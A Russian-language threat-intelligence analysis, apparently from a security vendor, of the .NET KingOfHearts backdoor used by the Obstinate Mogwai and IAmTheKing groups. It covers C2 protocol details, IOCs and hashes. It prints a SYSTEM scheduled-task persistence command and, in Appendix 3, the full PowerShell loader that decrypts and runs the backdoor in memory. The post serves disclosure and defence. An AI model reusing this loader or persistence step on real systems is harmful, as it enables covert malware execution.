Введение
Недавно в нашем блоге вышла статья Reign of King: тактики и инструментарий группировки Obstinate Mogwai об атаках азиатской прогосударственной группировки на российские организации.
Помимо нескольких описанных инцидентов нам удалось выявить множество пересечений Obstinate Mogwai с другой азиатской группировкой — IAmTheKing (PowerPool), которая активна как минимум с 2014 года.
Последний публичный отчет о ней был опубликован в 2020 г. экспертами из «Лаборатории Касперского». Вскоре после выхода нашей статьи на ежегодной конференции Kaspersky Security Analyst Summit 2024 был представлен доклад «The Lord of PowerShell: The Return of IamTheKing» от подразделения PT ESC, в котором говорилось о возвращении в 2024 году IAmTheKing с новой фишинговой кампанией с применением нового стилера PowerBroker.
В арсенале IAmTheKing имелся бэкдор KingOfHearts (JSON), который использовался злоумышленниками в атаках до 2019 г. Во время очередной попытки возвращения в инфраструктуру Obstinate Mogwai применили новую версию этого бэкдора, которую мы назвали .NET KingOfHearts. В этой публикации разберем ее подробно.
Ключевые моменты статьи:
- В ходе анализа образца .NET KingOfHearts мы обнаружили сборки в ресурсах, даты компиляции которых могут указывать, что бэкдор предположительно мог находиться в разработке с конца 2022 г., а в инциденте был использован в конце 2023 г.
- Эти же сборки помогли найти хеши нескольких других образцов .NET KingOfHearts с новыми C2. В итоге оказалось, что это семплы исходной версии бэкдора из инцидента, но с другими серверами управления.
- .NET KingOfHearts в отличие от старых версий стал модульным. Причем имеются как клиентские модули (встроены в бэкдор), так и модули C2, причем один из них, которому мы дали название «метамодуль ModuleHandle», тоже встроен в бэкдор и является оркестратором — загружает полученные с C2 модули в память для дальнейшего использования.
- Мы обнаружили ряд совпадений, по которым поняли, что перед нами новая версия легендарного бэкдора KingOfHearts: формат heartbeat-пакетов, пути отправки пакетов, названия функций, протокол взаимодействия с C2 и метод отправки запросов.
.NET KingOfHearts
Об обфускации исходного powershell-скрипта для запуска .NET KingOfHearts мы рассказывали в первой статье об Obstinate Mogwai. Для полноты описания мы решили собрать в данном разделе всю информацию о бэкдоре .NET KingOfHearts, поэтому повторим то, что писали о нем в первой статье.
Во второй статье в кейсе 1 мы рассказывали, что в одной из атак, в которых Obstinate Mogwai пытались вернуться в инфраструктуру, с помощью Powershell и зашифрованного log-файла в память была загружена новая версия бэкдора KingOfHearts (JSON-вариант). Бэкдор запускался задачей с именем Schedeled (орфография атакующих сохранена):
"C:\Windows\system32\schtasks.exe" /create /s [redacted-local-IP] /u [username] /p [password] /tn
Microsoft\Windows\Defrag\Schedeled /tr "powershell -exec bypass -f c:\programdata\microsoft\WDF\ctfmon.ps1" /sc
onstart /ru system /F
Файл ctfmon.ps1 весил 13 MB, так как был обфусцирован следующим образом:
Такую уникальную обфускацию мы наблюдали в инцидентах 2020-2021 годов, про которые рассказывали в 2021 году в докладе «Operation LongChain. История одного расследования».
Деобфусцированный скрипт C:\ProgramData\Microsoft\WDF\ctfmon.ps1 представлен в приложении 3. Он расшифровывает .NET KingOfHearts из файла C:\ProgramData\Microsoft\WDF\WDF.log, который имеет следующий формат:
<b64_enc_.NET_KingOfHearts> <b64_AES_KEY> <b64_AES_IV> <b64_.NET_type>
После чего загружает в память сборку, создает ее экземпляр и запускает метод Main.
Сборка представляла собой необфусцированный x86 exe-файл:
MD5
9a1799b33499474dbffa658a8d6c70f1
SHA1
d113bc67d41cef98900eaa084fc83dba6b4698b4
SHA256
2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100
Module name
ControlledEnd.exe
File size
134144 bytes (131 KB)
Comp. timestamp
2023-05-09 07:06:33 UTC
Другие метаданные:
Module Version Id DF4C1050-D640-44F2-B04-98703E1A527
TypeLib Id 63F9A354-46D1-48A8-A33C-E51BAF2ABF17

Ресурсы .NET KingOfHearts
В состав сборки входили следующие ресурсы:
В ресурсах содержался конфиг KingOfHearts в виде строковых значений. Параметры, начинающиеся на «p», относятся к прокси. Параметр server содержит C2.
Помимо конфига, в ресурсах еще содержатся несколько DLL-файлов, которые загружаются динамически через новый обработчик события AssemblyResolve:


Новый обработчик выполняет загрузку запрашиваемой сборки в память с помощью Assembly.Load. Подробнее опишем каждую из библиотек.
1) JumpKick_HttpLib — библиотека для взаимодействия с C2 по протоколу HTTP.
MD5
86726990f1df7d4ca1ea18cba86cb30c
SHA1
31e9d206b7b8fd573ef597c4b79f8484532c12a4
SHA256
44e241cb6f38d0218a5af867b3abb0de0838777a26ffcb44cf7752b93168808d
Module name
JumpKick.HttpLib.dll
File size
27136 bytes (26.5 KB)
Comp. timestamp
2022-10-28 12:23:48 UTC
Другие метаданные:
Module Version Id 42875177-D393-46C8-95A0-8BE4D14481A5
TypeLib Id 1C7164A9-4DEB-4511-BE22-9790B4E594A9
Злоумышленники использовали код последней доступной версии на github — v2.0.16.94, но добавили функционал прокси и собрали 32-разрядную библиотеку с использованием .NET Framework v4.0. Версия 2.0.15 указана в AssemblyInfo.cs-файлах на github, поэтому ее и видно во вручную собранной библиотеке. Добавленный код выделен красным на рисунках ниже.
Класс JumpKick.HttpLib.Http:

Класс JumpKick.HttpLib.Request:

2) LitJSON — для обработки данных в формате JSON при взаимодействии с C2.
MD5
b086fcb23faa27229381513130406985
SHA1
470c5a2ffb669986ebd3f87664ada2fdd82c470e
SHA256
079c44ed83d5453704b0688ece6940c29ce4a5f8444dc351c9b47040cfbe29da
Module name
LitJSON.dll
File size
49664 bytes (48.5 KB)
Comp. timestamp
2022-10-17 02:03:26 UTC
Другие метаданные:
Module Version Id 42875177-D393-46C8-95A0-8BE4D14481A5
TypeLib Id 1C7164A9-4DEB-4511-BE22-9790B4E594A9
Злоумышленники использовали код самой старой версии с github — v0.9.0 от 08.09.2014 (последняя версия v0.19.0 от 19.11.2023) и собрали 32-разрядную библиотеку с использованием .NET Framework v4.0. Неизвестно, почему была выбрана такая старая версия библиотеки, несмотря на то что собирали ее в 2022 году. Специалисты «Лаборатории Касперского» упоминали, что находили следы IAmTheKing с 2014 г. Возможно, на заре своего становления IAmTheKing загрузили исходный код LitJSON v0.9.0 и использовали его в 2022 году при сборке .NET KingOfHearts.
3) CommonModule.dll — содержит классы, методы и поля, общие для всех модулей .NET KingOfHearts.
MD5
b6f91911b53d57d12047ea69ec32ae38
SHA1
469b3699affb8671c5ad40ed9f2a56ed6176c35f
SHA256
40a68d58e2642aff8824f6d8f614ee7cb30e1bd3a1c25640cd3f5f0cb32d40c6
Module name
CommonModule.dll
File size
7680 bytes (7.5 KB)
Comp. timestamp
2022-11-23 10:43:02 UTC
Другие метаданные:
Module Version Id 57D108BB-AC05-4512-88E9-4C80214B314
TypeLib Id CA11846D-EED2-406F-8A3B-598DFD5D9CF2

Модуль задает общие переменные:

Опишем подробнее:
Значение |
Комментарий |
---|---|
|
Возможно, версия бэкдора KingOfHearts. В метаданных файла было значение 1.2.0.0. |
|
Кодировка по умолчанию. Не используется в коде |
|
WebProxy-объект — прокси-сервер для связи с C2. Устанавливается при старте бэкдора параметрами из конфига |
|
Список значений в миллисекундах, на которые поток опроса C2 будет засыпать перед очередной отправкой heartbeat. Удобнее это назвать шаблоном сна потока heartbeat |
|
Шаблон сна потока получения и выполнения команд |
|
Не используется в коде. Судя по названию, возможно, это максимальное время ожидания ответа от сервера в секундах |
|
Это максимальное количество одновременных подключений к одному серверу, устанавливаемых через HttpWebRequest, который использует под капотом библиотека JumpKick.HttpLib. Значение задается для ServicePointManager.DefaultConnectionLimit |
|
Имя json-ключа для получения значения sessionid |
|
Имя json-ключа для получения значения очередного действия для метамодуля ModuleHandle, отвечающего за загрузку и запуск других модулей. Подробнее будет описан далее |
В функциях StartHeart и StartCommandPool имеется функция Server.InitHeartQueueBy, которая инициализирует соответствующий шаблон сна в классе Server данными из класса CommonVars:
Так как шаблоны сна класса CommonVars изначально создаются пустыми, функция InitHeartQueueBy инициализирует шаблоны класса Server десятью случайными значениями от 3 до 12 секунд (включительно). Эти значения генерируются функцией Server.GetRandomSecond().
Таким образом, бэкдор .NET KingOfHearts использует разные шаблоны сна при взаимодействии с C2 (задачи heartbeat и обработки команд) и периодически меняет эти шаблоны. Скорее всего, это реализация техники Defense Evasion.
Другой важный аспект CommonModule — это задание интерфейса для модулей-команд .NET KingOfHearts:

Модули-команды — это .NET-сборки, которые отправляются с сервера злоумышленников, для выполнения различных команд. К сожалению, нам не удалось получить подобные модули. Более подробная информация приведена в разделе «Модули .NET KingOfHearts».
В библиотеке CommonModule есть вспомогательные функции, функциональность которых можно понять по названиям:


Также имеются и неиспользуемые в коде методы:

Другие образцы .NET KingOfHearts
Изначально мы располагали только одним семплом .NET KingOfHearts, который был получен при реагировании на инцидент. Используя в нашем исследовании уникальность сборок библиотек CommonModule, JumpKick.HttpLib и LitJSON, мы обнаружили еще два файловых хеша, с высокой вероятностью относящихся к образцам .NET KingOfHearts, и их управляющие серверы без самих файлов:
Sample |
C2 |
---|---|
|
|
|
|
Метаданные по этим семплам указывали на тот же размер файлов, что и у ранее известного нам. В качестве эксперимента мы подменили С2 в нашем семпле на вновь обнаруженные и получили файловые хеши, соответствующие найденным семплам. Это позволило понять, что:
1) все три семпла .NET KingOfHearts — это одна и та же версия;
2) в нем предусмотрена замена C2 без перекомпиляции.
При этом заменять без перекомпиляции можно не только C2, но и параметры прокси сервера. Это стало возможным благодаря следующей схеме хранения и обработки данных конфига:
config_value<space><space>...<space>
(длина 0x96 байт)


При обработке параметров конфига в бэкдоре сначала используется функция Trim(), которая удаляет пробелы в начале и в конце строки.

Даты компиляции .NET KingOfHearts и его компонентов
Судя по датам компиляции, можно предположить, что разработка .NET версии KingOfHearts началась еще в конце 2022 года:
Сборка |
Дата компиляции, UTC |
---|---|
LitJSON |
2022-10-17 02:03:26 |
JumpKick.HttpLib |
2022-10-28 12:23:48 |
CommonModule |
2022-11-23 10:43:02 |
ControlledEnd (.NET KingOfHearts) |
2023-05-09 07:06:33 |
Мы предполагаем, что временные метки компиляции не сфабрикованы. В инциденте .NET KingOfHearts использовался в ноябре 2023-го.
Функциональность бэкдора
Благодаря схеме запуска бэкдор .NET KingOfHearts работает исключительно в памяти, не оставляя следов на файловой системе.
Верхнеуровневое представление работы бэкдора в памяти представлено на схеме ниже:
Пояснения к схеме:
Пунктирными линиями обозначены действия, для выполнения которых необходимо условие.
1-2-3 — так обозначается последовательность связанных действий. Эти последовательности действий окрашены в разные цвета для наглядности.
Три цепочки действий
Красная 1-2-3 — отправка системной информации по запросу от C2.
Зеленая 1-2-3-4-5-6 — выполнение команды «load» модуля «module» (метамодуля ModuleHandle) по получению модуля с C2 и записи его экземпляра в словарь модулей Module dict.
Черная 1-2-3-4 — выполнение команды другого модуля из словаря.
Для улучшения наглядности на схеме сделано упрощение: стрелки зеленых шагов 2 и 6 исходят сразу из C2 в пул команд (Command pool) или словарь модулей (Module dict). В реальности при запросе новой команды или модуля C2 отправляет ответ модулям CommandPool или ModuleHandle, которые уже в свою очередь помещают команду или модуль в пул команд или словарь модулей.
.NET KingOfHearts взаимодействует с C2 через отправку данных в формате JSON с помощью POST-запросов. В ответ от C2 данные поступают также в формате JSON. Далее приведем примеры данных.
После запуска в памяти бэкдор считывает данные из конфига и запускает две асинхронные задачи:
1) Задача StartHeart
Основная задача функции — устанавливать параметр online в значение, отражающее, активен ли C2 (True — активен). Работа функции основывается на двух клиентских модулях: Hey и Hello, которые более подробно описаны в разделе «Модули .NET KingOfHearts».
2) Задача StartCommandPool
Основные задачи функции:
- получение и обработка команд от C2;
- загрузка модулей, полученных от C2, в память;
- выполнение команд модулей.
Сам объект класса CommandPool запускается, только если C2 активен, что определяется при проверке поля Server.online:

При создании объекта класса CommandPool выполняется запуск асинхронной задачи ScanCommandQueue, которая обрабатывает команды, полученные от C2:

Для получения новых команд в бесконечном цикле отправляются POST-запросы на C2:PORT/cmdpool.
Полученная от C2 команда далее обрабатывается модулем, имя которого указано в ключе «op».
В ходе обработки могут отправляться POST-запросы на C2:PORT/module — для получения DLL-файла модуля и C2:PORT/moduleresult — для отправки списка загруженных в память модулей.
Подробности — далее в разделе.
Модули .NET KingOfHearts
Бэкдор .NET KingOfHearts является модульным. Причем внутри себя он уже содержит несколько модулей разных типов: клиентские и модули C2.
Клиентские модули
Предназначены для взаимодействия и получения данных с C2.
Модули клиентского типа наследуются от абстрактного класса ClientRequest.RequestBase и реализуют единственный метод — Do:

В модулях клиентского типа, в отличие от модулей C2, в методе Do имеется третий аргумент типа System.Action с одним параметром, через который передается делегат (ссылка на функцию).
1) Модуль Hey
Через POST-запрос на C2:PORT/hey определяет, онлайн ли C2 и необходимость отправки системной информации:

Модуль Hey в бесконечном цикле опрашивает C2 путем отправки POST-запросов на C2:PORT/hey со случайно сгенерированным GUID (с помощью Guid.NewGuid().ToString()) в формате:
json={"sessionid":"67a416ac-140a-487f-98a1-f7e6cabb82bf"}
Если получен любой ответ, то параметр online устанавливается в значение True (online = True).
Также C2 может опционально отправить ответ для получения системной информации:

Важно отметить, что ответ C2, показанный на картинке выше, мы сэмулировали, поэтому не стоит обращать внимания на заголовки ответов или использовать их для написания возможных правил.
Если от C2 получен ответ:
{"action":"needhello"},
то вызывается модуль Hello, который отправляет данные о системе.
2) Модуль Hello
Вызывается модулем Hey, если от C2 получен ответ:
{"action":"needhello"}.

Модуль Hello отправляет на C2:PORT/hello POST-запрос со следующей информацией:
Параметр |
Описание |
---|---|
|
Имя хоста. Через Dns.GetHostName() |
|
Список IP-адресов, связанных с локальным хостом. Через Dns.GetHostEntry(Dns.GetHostName()).AddressList |
|
Версия ОС. Через Environment.OSVersion.VersionString |
|
Название ОС. Через значение HKLM\Software\Microsoft\Windows NT\CurrentVersion:ProductName |
|
Роль пользователя. В зависимости от значения WindowsIdentity.GetCurrent().IsSystem. Возможные значения: SYSTEM или USER |
|
Имя пользователя. Через WindowsIdentity.GetCurrent().Name |
|
IP-адрес интерфейса, который используется для выхода в интернет. Определяется по значению socket.LocalEndPoint после udp-подключения к C2:PORT. Причем если хост выходит в сеть через NAT, то это будет серый IP-адрес |
|
ID сессии. Случайно генерируется при запуске бэкдора |
|
Значение CommonVars.ClientAppVersion. В бэкдоре — 1.0 |
|
Системные региональные настройки по умолчанию. Через вызов kernel32.GetSystemDefaultLCID() |
Пример отправляемых данных:
json = {
"hostname": "test-hostname",
"innerAddress": "link_local_ipv6_1,link_local_ipv6_2,192.168.13.37,ipv4_2...",
"osversion": "Microsoft Windows NT 6.2.9200.0",
"os": "Windows 10 Pro",
"role": "USER",
"username": "test-hostname\\user",
"ipv4address": "192.168.13.37",
"sessionid": "67a416ac-140a-487f-98a1-f7e6cabb82bf",
"clientappver": "1.0",
"langid": 1033
}
Модули C2
Предназначены для выполнения различных действий на клиенте (жертве). Модули данного типа получаются с C2, но «из коробки» доступен метамодуль ModuleHandle.
Модули C2 реализуют интерфейс CommonModule.Command (из библиотеки CommonModule.dll из ресурсов), который содержит два метода — Do и Close:

Отличия от клиентских модулей:
- модулям C2 требуется реализовать интерфейс, в клиентских — наследуется абстрактный класс;
- требуется реализовать метод Close, в клиентских — только метод Do;
- в методе Do в третьем параметре используется объект типа JsonData, в клиентских — объект типа System.Action<Object>;
- используется метод Instance для создания объекта класса модуля C2, в клиентских — это поле, возвращающее значение статического поля, в котором хранится объект класса;
- хранятся в словаре модулей в памяти, клиентские модули встроены в сам бэкдор.
Модули C2 получают команды в JSON-формате:
{
"op": <module_name>,
"action": <module_action>,
# other module data
"param1": "param1_value",
...
}
где:
<module_name> — имя модуля, это имя используется как ключ в словаре и может быть любым.
<module_action> — команды для выполнения модулем. Возможно, это необязательный параметр, так как теоретически модуль может выполнять какую-то одну команду, которую не нужно указывать.
Остальные параметры — опциональные и зависят от функционала и реализации конкретного модуля.
Кратко формат команд и требования к модулю C2 приведены на картинке ниже:
Команда, полученная от C2, обрабатывается упоминаемой ранее функцией CommandPool.ScanCommandQueue, которая на основе значения в ключе «op» определяет, что нужно выполнить (команду модуля или метамодуля):
1) Метамодуль ModuleHandle
Назван нами метамодулем, потому что отвечает за загрузку модулей в память. Вызывается, если в ключе «op» указывается «module». Имеет три команды в ключе «action»:
Команда |
Описание |
---|---|
load |
Загружает в память модуль с C2 и помещает его в словарь модулей MODULE_DICT |
unload |
Вызывает метод Close у модуля и удаляет его из словаря модулей MODULE_DICT |
list |
Отправляет POST-запрос на C2:PORT/list в формате {"list": "module1", "module2", …}, где значения ключа list — ключи словаря (значения из ключа command) MODULE_DICT |
Подробнее рассмотрим самую интересную команду load.
Для ее выполнения с C2 приходит JSON:
{
"op": "module",
"action": "load",
"command": "pwsh_module_dict_key",
"path": <module_path>,
"clazz": "PwshellExecuter"
}
Значения в ключах command и clazz выдуманные.
Ключ |
Описание |
---|---|
op |
Имя модуля в словаре MODULE_DICT. В данном случае используется «module» для вызова метамодуля ModuleHandle |
action |
Команда для выполнения модулем — load |
command |
Название ключа, под которым загруженный с C2 модуль будет храниться в словаре MODULE_DICT |
path |
Путь для загрузки модуля. Не используется в коде |
clazz |
Тип экземпляра класса модуля C2. Содержит название основного класса модуля, у которого будет вызван метод Instance |
На основе полученных данных формируется POST-запрос на C2:PORT/module со следующим содержимым:
json={
"sessionid": "65972453-bc62-4449-a598-e1051df4bb5f",
"path": <module_path>,
"command": "pwsh_module_dict_key",
"savepath": "module cache"
}
Причем значение в savepath жестко закодировано в .NET KingOfHearts.
Модули с C2 отправляются в незашифрованном виде. Злоумышленники переопределили с помощью метода OnSuccess метод для загрузки модуля с C2, в результате чего загрузка стала выполняться напрямую в память, а не на файловую систему, как изначально было реализовано в методе DownloadTo.

Полученный модуль сначала загружается в память с помощью Assembly.Load с использованием типа экземпляра, указанного в ключе clazz, а затем вызывается метод Instance для создания самого экземпляра, который далее помещается в словарь модулей MODULE_DICT в ключ с именем, полученным в параметре command. После успешной загрузки модуля в словарь выполняется POST-запрос на C2:PORT/moduleresult со следующим содержимым:
{
"sessionid": "65972453-bc62-4449-a598-e1051df4bb5f",
"path": <module_path>
"command": "pwsh_module_dict_key",
"savepath": "module cache",
"list": "pwsh_module_dict_key",
"action": "list"
}
где в ключе list в одном значении перечисляются через запятую загруженные в память модули (значения ключей из словаря MODULE_DICT).
Команда load с пояснениями для метамодуля C2 приведена на картинке ниже:

Почему KingOfHearts
В данном разделе приводим причины, почему мы решили, что описанный в статье бэкдор — это новая версия бэкдора KingOfHearts.
1) Совпадение по формату heartbeat-пакетов
Для примера мы взяли старый семпл KingOfHearts (JSON):
MD5
65c18a2c8084fa566b7b2532ec62d833
SHA1
3f909f35d59973f087558a66606ec57c1badc90d
SHA256
f86412de2976b360b5cb325b96cd9c2924ba01fea84e29e7bc2b38c9951f5f49
File Name
MailServices.exe
File size
371200 bytes (362.50 KB)
Comp. timestamp
2016-12-07 02:35:04 UTC
Новый .NET KingOfHearts при отправке POST-запросов использует тот же формат, что и старый образец KingOfHearts (JSON) 2016 года:

2) Совпадение по путям отправки пакетов
Пути для отправки POST-запросов в старой версии другие, но один из них остался таким же и до сих пор используется в новой версии бэкдора — .NET KingOfHearts.
Описание |
KingOfHearts (JSON) 2017 |
.NET KingOfHearts 2023 |
---|---|---|
Отправка heartbeat пакетов |
|
|
Отправка systeminfo |
|
|
Получение команд |
|
|
3) Совпадение названия функции со старым путем отправки heartbeat-пакетов
Несмотря на то что путь отправки heartbeat пакетов в новой версии изменили с /heart на /hey, heart все равно присутствует в названии соответствующей функции — Server.StartHeart.
4) Совпадение по протоколу взаимодействия с C2 и методу отправки запросов
В обеих версиях KingOfHearts для отправки запросов используются POST-запросы. Взаимодействие с C2 происходит по протоколу HTTP.
Заключение
В данной статье мы подробно проанализировали новую версию бэкдора KingOfHearts. Мы считаем появление .NET KingOfHearts довольно любопытным событием. В арсенале азиатских APT и так имеется довольно большое количество бэкдоров, которыми они могут делиться друг с другом, но несмотря на это, предположительно в 2022 году началась разработка новой версии KingOfHearts. Примечательно, что новая версия стала модульной, как и большинство известных инструментов азиатских группировок (ShadowPad, PlugX, EAGERBEE). Это может быть обусловлено тем, что исследователям не всегда удается получить весь набор модулей, и поэтому раскрыть всю функциональность ВПО (а значит, и выработать эффективные методы защиты от него) становится сложнее.
И наконец, примечательная деталь — в бэкдоре используется библиотека LitJSON.dll, код которой соответствует версии 2014 года (скомпилирована в 2022-м), что коррелирует с началом активности IAmTheKing. А почему использовался такой старый код (последняя версия LitJSON вышла ноябре 2023-го) в бэкдоре 2023 года — остается загадкой.
В следующей части мы разберем функциональность других бэкдоров (Donnect и DimanoRAT) и веб-шеллов, используемых Obstinate Mogwai.
Приложение 1. IOCs
Примечание: жирным выделены новые индикаторы, которых не было в прошлой статье от 8 октября 2024 г.
File hashes
md5
dbbcfdb01b4912bb9c935edf89f400c2
ae0ac04e64abf20870a5814f047a0658
9a1799b33499474dbffa658a8d6c70f1
86726990f1df7d4ca1ea18cba86cb30c
b086fcb23faa27229381513130406985
b6f91911b53d57d12047ea69ec32ae38
b49f4283e1cce14586306070cbed8602
4aa8ed41902f8a1c0c6cc21482cbe5db
sha1
df2a87f3c142925ff63cc264b2d3a628c3d666d4
d67ff6ae5990db924350f11f27e3e595b4aadc9f
d113bc67d41cef98900eaa084fc83dba6b4698b4
31e9d206b7b8fd573ef597c4b79f8484532c12a4
470c5a2ffb669986ebd3f87664ada2fdd82c470e
469b3699affb8671c5ad40ed9f2a56ed6176c35f
181476ab42e690a98af7fb22000687eac7125950
f59a2b04e73796ac32334bcf1c5d6cb6b4069b2f
sha256
3ef4c1251e55f207420e27897e2969fb9069884c700164f3bbeedd3ef95b6d2e
d47c56438cabf5080a211606764a1c20207bc2589adbb9d0b4acd8f8c57c596e
2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100
44e241cb6f38d0218a5af867b3abb0de0838777a26ffcb44cf7752b93168808d
079c44ed83d5453704b0688ece6940c29ce4a5f8444dc351c9b47040cfbe29da
40a68d58e2642aff8824f6d8f614ee7cb30e1bd3a1c25640cd3f5f0cb32d40c6
0f32a429dfab551dc324deb290ab8343927812022d4e521266de9d5c84292015
6c772a7645796bb64be47b5d640b247ad22264be53db7dfe950b0ec5afe4a2b5
Сетевые индикаторы
.NET KingOfHearts С2
45.150.64[.]23
81.17.16[.]104
92.119.159[.]22
Приложение 2. Расширенная информация по файловым IOCs
Путь |
Хеш-сумма MD5 |
Хеш-сумма SHA1 |
Хеш-сумма SHA256 |
Комментарий |
---|---|---|---|---|
C:\ProgramData\Microsoft\WDF\ctfmon.ps1 |
dbbcfdb01b4912bb9c935edf89f400c2 |
df2a87f3c142925ff63cc264b2d3a628c3d666d4 |
3ef4c1251e55f207420e27897e2969fb9069884c700164f3bbeedd3ef95b6d2e |
Скрипт, расшифровывающий WDF.log |
C:\ProgramData\Microsoft\WDF\WDF.log |
ae0ac04e64abf20870a5814f047a0658 |
d67ff6ae5990db924350f11f27e3e595b4aadc9f |
d47c56438cabf5080a211606764a1c20207bc2589adbb9d0b4acd8f8c57c596e |
Зашифрованный .NET KingOfHears (ControlledEnd.exe) |
JumpKick.HttpLib.dll |
86726990f1df7d4ca1ea18cba86cb30c |
31e9d206b7b8fd573ef597c4b79f8484532c12a4 |
44e241cb6f38d0218a5af867b3abb0de0838777a26ffcb44cf7752b93168808d |
Библиотека JumpKick.HttpLib.dll из ресурсов .NET KingOfHearts backdoor (ControlledEnd.exe) |
LitJSON.dll |
b086fcb23faa27229381513130406985 |
470c5a2ffb669986ebd3f87664ada2fdd82c470e |
079c44ed83d5453704b0688ece6940c29ce4a5f8444dc351c9b47040cfbe29da |
Библиотека LitJSON.dll из ресурсов .NET KingOfHearts backdoor (ControlledEnd.exe) |
CommonModule.dll |
b6f91911b53d57d12047ea69ec32ae38 |
469b3699affb8671c5ad40ed9f2a56ed6176c35f |
40a68d58e2642aff8824f6d8f614ee7cb30e1bd3a1c25640cd3f5f0cb32d40c6 |
Библиотека CommonModule.dll из ресурсов .NET KingOfHearts backdoor (ControlledEnd.exe) |
ControlledEnd.exe |
9a1799b33499474dbffa658a8d6c70f1 |
d113bc67d41cef98900eaa084fc83dba6b4698b4 |
2d7a7f3afe32265562a79b94a9264e7fe94125647396bb21273a6002b106d100 |
.NET KingOfHearts backdoor (нагрузка из WDF.log) С2: 45.150.64[.]23 |
- |
b49f4283e1cce14586306070cbed8602 |
181476ab42e690a98af7fb22000687eac7125950 |
0f32a429dfab551dc324deb290ab8343927812022d4e521266de9d5c84292015 |
.NET KingOfHearts backdoor С2: 81.17.16[.]104 |
- |
4aa8ed41902f8a1c0c6cc21482cbe5db |
f59a2b04e73796ac32334bcf1c5d6cb6b4069b2f |
6c772a7645796bb64be47b5d640b247ad22264be53db7dfe950b0ec5afe4a2b5 |
.NET KingOfHearts backdoor С2: 92.119.159[.]22 |
Приложение 3. Powershell-скрипт ctfmon.ps1 для запуска .NET KingOfHearts
$Perform = @"
using System;
#fdafdasfdasfdsafdsafdsa
#fdasfeqewqfeqwfewqfewqfew
using System.IO;
using System.Text;
using System.Security.Cryptography;
using System.Reflection;
namespace Front
{
public class Program
{
public static byte[] Decrypt(byte[] data, string key, string iv)
{
byte[] decryptedData = null;
byte[] Key = Encoding.Default.GetBytes(key);
byte[] IV = Encoding.Default.GetBytes(iv);
if (data == null)
throw new ArgumentNullException("data");
if (data == Key)
throw new ArgumentNullException("key");
if (data == Key)
throw new ArgumentNullException("iv");
using (RijndaelManaged aesAlg = new RijndaelManaged())
{
aesAlg.Key = Key;
aesAlg.IV = IV;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
decryptedData = decryptor.TransformFinalBlock(data, 0, data.Length);
}
return decryptedData;
}
public static void Enable()
{
string fpth = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\Microsoft\\WDF\\";
string code = File.ReadAllText(fpth + "WDF.log");
byte[] decryptedBytes = null;
string[] strs = code.Split(' ');
string str = strs[strs.Length - 4];
string key = strs[strs.Length - 3];
string iv = strs[strs.Length - 2];
string name = strs[strs.Length - 1];
byte[] buffer = Convert.FromBase64String(name);
string s = Encoding.UTF8.GetString(buffer);
byte[] encrypted = Convert.FromBase64String(str);
decryptedBytes = Decrypt(encrypted, key, iv);
Assembly assembly = Assembly.Load(decryptedBytes);
Type type = assembly.GetType(s+".Program");
MethodInfo method = type.GetMethod("Main");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, null);
}
}
}
"@
Add-Type -TypeDefinition $Perform -Language CSharp
[Front.Program]::Enable()